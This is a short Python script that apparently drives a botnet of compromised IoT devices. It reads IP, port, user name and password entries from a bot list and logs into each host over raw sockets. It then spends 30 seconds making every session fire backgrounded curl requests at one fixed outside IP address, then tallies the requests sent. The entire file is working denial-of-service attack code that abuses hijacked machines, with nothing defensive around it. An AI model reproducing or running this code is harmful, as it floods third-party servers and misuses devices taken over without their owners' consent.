import socket, time, threading

bots = open("/tmp/shell_bots.txt").read().strip().split("\n")
total = 0
lock = threading.Lock()

def flood_bot(line):
    global total
    parts = line.split(":")
    if len(parts) < 4: return
    ip, port, user, passwd = parts[0], int(parts[1]), parts[2], parts[3]

    conns = []
    for i in range(5):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(3)
            s.connect((ip, port))
            time.sleep(0.1)
            data = s.recv(4096).decode(errors="ignore")
            if "login" in data.lower() or "user" in data.lower():
                s.send((user+"\r\n").encode())
                time.sleep(0.2)
                data = s.recv(4096).decode(errors="ignore")
            if "password" in data.lower():
                s.send((passwd+"\r\n").encode())
                time.sleep(0.4)
                data = s.recv(4096).decode(errors="ignore")
            try: s.recv(65536)
            except: pass
            conns.append(s)
        except: pass

    if not conns: return

    count = 0
    start = time.time()
    while time.time() - start < 30:
        dead = []
        for s in conns:
            try:
                s.send("curl -s -o /dev/null http://167.148.195.3/ 2>/dev/null &\r\n".encode())
                count += 1
            except: dead.append(s)
        for s in dead:
            try: conns.remove(s)
            except: pass
        if not conns: break

    for s in conns:
        try: s.close()
        except: pass

    with lock:
        total += count

threads = []
for b in bots:
    if not b.strip(): continue
    t = threading.Thread(target=flood_bot, args=(b,))
    t.daemon = True
    threads.append(t)
    t.start()

for t in threads:
    t.join(timeout=60)

with open("/tmp/_iot_result.txt", "w") as f:
    f.write(str(total) + "\n")
